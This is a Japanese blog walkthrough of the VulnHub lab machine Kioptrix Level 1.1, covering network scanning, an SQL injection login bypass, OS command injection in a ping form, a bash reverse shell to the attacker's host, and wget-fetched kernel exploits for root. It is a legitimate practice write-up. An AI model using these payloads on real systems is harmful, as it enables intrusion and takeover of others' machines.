*白百合めも*

セキュリティ中心に毎日の勉強の記録を書くよ*

VulnHubやっていき(Kioptrix: Level 1.1 (#2))

皆さんこんにちは🌷白百合です!
(実際は何ヶ月も前に書いた記事なのですが、下書きに眠っていたので公開しますw)

今回はやられマシンがたくさん載ってるVulnHubから、KioptrixLevel1.1 をやっていきます♪
文章の方は、前回と解説被るようなところは簡易的に書いてますのでご了承ください!

Kioptrix Level1.1(#2)

まずはこのマシンについて把握しましょう✨
URL: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

どんな脆弱性があるか何も分からない状態で攻略するのが普通だと思うのですが、
私は最初にFlagの形式と、脆弱性情報だけを、こういう方向性の攻撃すればいいのか〜と心構えのために見てます。
(私はマシン攻撃慣れしてないのでこうしてますが、学習の目的に合わせてお好きなようにやっていきましょう⭐️)

Flag

Text flag

VulnerabilitiesShow/HideBack To The Top
  • OS Command Injection
  • Privilege Escalation
  • SQL Injection

Flagはテキスト形式で取れて、脆弱性はOSコマンドインジェクション・SQLインジェクションを使い、また何かしらの方法で権限昇格も行う必要がありそうですね❣️

❤️環境構築

IPアドレスDHCPで自動的に振られるため、VirtualBoxで以下のネットワーク設定を行います✨
Kali : ホストオンリーアダプタ(DHCP使用)+ NAT
Kioptrix : ホストオンリーアダプタ(DHCP使用)

起動すると、以下画面になります🌹
f:id:white-lily6u6:20190126095144p:plain

❤️事前調査

IPアドレス調査

アドレスは自動的に振られているため、まずはKioptrixのIPアドレスを調べましょう。
KaliとKioptrixは同じネットワークにいて、私の環境ではKaliの(ホストオンリーの方の)IPアドレス192.168.56.102 だったので、
netdiscover -r 192.168.56.0/24 で探します!

f:id:white-lily6u6:20190122225549p:plain
192.168.56.100DHCPサーバのアドレスなので、
KioptrixのiPアドレス192.168.56.105 ということが分かりました!

・サービス調査

次に開きポート、そこで動いているサービスを調べます🍮
nmap -p- -sV -sT 192.168.56.105 でスキャンします!(-p-:1-65535のポートが対象, -sV:サービスのバージョンスキャン, -sT:TCPスキャン)

f:id:white-lily6u6:20190124203303p:plain

22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)  
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))  
111/tcp  open  rpcbind  2 (RPC #100000)  
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))  
631/tcp  open  ipp      CUPS 1.1  
645/tcp  open  status   1 (RPC #100024)  
3306/tcp open  mysql    MySQL (unauthorized)  


Apacheが動いてるようなので、Webにアクセスすると、
以下のようなログインフォームが出てきました!✨

f:id:white-lily6u6:20190126105427p:plain

❤️脆弱性探し&exploit(Web)

まずは、webサーバの脆弱性をスキャンする niktoをかけてみます。
f:id:white-lily6u6:20190128233108p:plain PHPApacheのバージョン古いな、というのは分かりますが、シェル取れちゃいそうな脆弱性は見当たりません。。。

そこで、MySQLが動いているのと先ほどのログインフォームから、もしかしたらSQLインジェクションできるのでは?と考え、
とりあえずユーザ名に ' OR 1=1 -- (パスワード以降の条件はコメントアウト)を入力すると・・・
f:id:white-lily6u6:20190205225713p:plain:w250
ログインできてしまいました❣️
f:id:white-lily6u6:20190205225418p:plain:w500
ログイン後は、上記のような画面が出てきます。

Ping a Machine on the Networkとありますから、入力フォームにIPアドレスを書いて送信したら、そのIPアドレス宛にPingが打たれるサービスなのでしょう!
ということで、OSコマンドインジェクションが使える可能性がありますね!
(前にこれと同じものを、OWASP Mutillidaeかなんかで見たことがあります✨)

; でコマンドを終了させて、その後に実行させたいコマンドを入力します🍰
f:id:white-lily6u6:20190209094119p:plain:w500
すると、そのコマンドがちゃんと実行されていることが確認できました♪
apacheユーザで動いてるっぽいです。
f:id:white-lily6u6:20190209094133p:plain:w400

ということで、リバースシェルでシェルを取得したいと思います*
どうやら攻撃対象サーバでncは使えなさそうだったので、bashでやっていきます🥀
以下サイトがめっちゃ分かりやすかったです。
SANS Penetration Testing | Pen Test Poster: "White Board" - Bash - Bash's Built-In Netcat Client | SANS Institute

まずはKaliにて nc -vlp 9000で9000番で接続を待ち受けます🍪
f:id:white-lily6u6:20190209103730p:plain:w300

次に、攻撃対象サーバの方で、Kaliの9000番に繋げにいきます!
;bash -i >& /dev/tcp/192.168.56.102/9000 0>&1 f:id:white-lily6u6:20190209103744p:plain:w500

すると、シェルをゲットすることができました!
OSバージョンを見てみると、なんとCentOS4.5ということが分かりました!(この情報は後ほど利用します)
また、同ディレクトリ内にはindex.phpとpingit.phpソースコードが置かれています。
f:id:white-lily6u6:20190211180026p:plain

ndex.phpをのぞいてみると、
MySQLの認証情報でユーザ名“john”、パスワード“hiroshima”というものが、、、!johnさん広島好きなのかな・・・?
f:id:white-lily6u6:20190209201137p:plain
いろんなサービスで同じ認証情報が使えたりするのでこれでSSHログインできるのかな?と思ったのですが、できませんでした。
MySQLログインして中の情報見てみようとも思ったのですが、 mysql -u john -p でログインしても何故か出力が返ってこず、、、!

別の切り口でrootシェル奪取できる方法を考えてみます❣️

❤️脆弱性探し&exploit

OSのバージョンがCentOS4.5と、とっても古いことが分かったので、rootシェルゲットできるような脆弱性がないか調べてみます。

ネットに繋がらない環境であればsearchsploitで検索し、
外に出ることができるのならGUIのexploitDBで探してみます!
f:id:white-lily6u6:20190211160218p:plain
f:id:white-lily6u6:20190211160332p:plain
検索すると、
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) が使えそうなことが分かりますね!

権限昇格のコードなので、Metasploitの記事でもやったように、以下の順番でこのコードを攻撃対象サーバに送り込みます⚡️

1. Kali linuxのドキュメントルートにexploitコードを置く
2. apacheを起動する
3. apacheユーザでシェルをとってる攻撃対象サーバ上にて、このexploitコードをwgetでとってくる

ドキュメントルートに9542.cをコピーし、
f:id:white-lily6u6:20190211162320p:plain

apache2を起動✨
f:id:white-lily6u6:20190211163230p:plain

9542.cをwgetで持ってきてコンパイルします!
f:id:white-lily6u6:20190211165913p:plain

そして実行すると・・・
f:id:white-lily6u6:20190211171419p:plain:w300
あれ・・・?
exploit failed, try again と出て、実行することができません💦

色々と試してみたのですが、どうしてもexploit実行ができなかったので、別のexploitコードを探す旅に出ます(他の方の最近のwriteupでも実行できてなかった)

もう少し検索の条件をゆるくして、
searchsploit kernel 2.6 centos 4 で検索してみると、色々と出てきました*
f:id:white-lily6u6:20190211180737p:plain

Kernelバージョンが一致している(テスト済みのCentOSのバージョンは若干違いますが)以下を使っていきます✨
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Local Privilege Escalation

脆弱性は、CVE-2009-2692です!詳しくは以下!
NVD - CVE-2009-2692

The Linux kernel 2.6.0 through 2.6.30.4, and 2.4.4 through 2.4.37.4, does not initialize all function pointers for socket operations in proto_ops structures, which allows local users to trigger a NULL pointer dereference and gain privileges by using mmap to map page zero, placing arbitrary code on this page, and then invoking an unavailable operation, as demonstrated by the sendpage operation (sock_sendpage function) on a PF_PPPOX socket.

と書いてあります🥮


ドキュメントルートに9545.cをコピーし、
f:id:white-lily6u6:20190211182401p:plain

9545.cをwgetで持ってきてコンパイルし、実行権限をつけます🍮
f:id:white-lily6u6:20190211182934p:plain:w450
そして実行すると・・・
f:id:white-lily6u6:20190211182951p:plain:w400
rootシェルが取れました!!

flagは色々探したのですが見つかりませんでした💦



実は今回の内容は以前このブログで書いた内容ばかりだったので、
Kioptrix: Level 1.2も挑戦して一緒に書こうかなぁと思っていたのですが、
あまり記事が長くなっても良くないのでここまでで✨

ではまた👋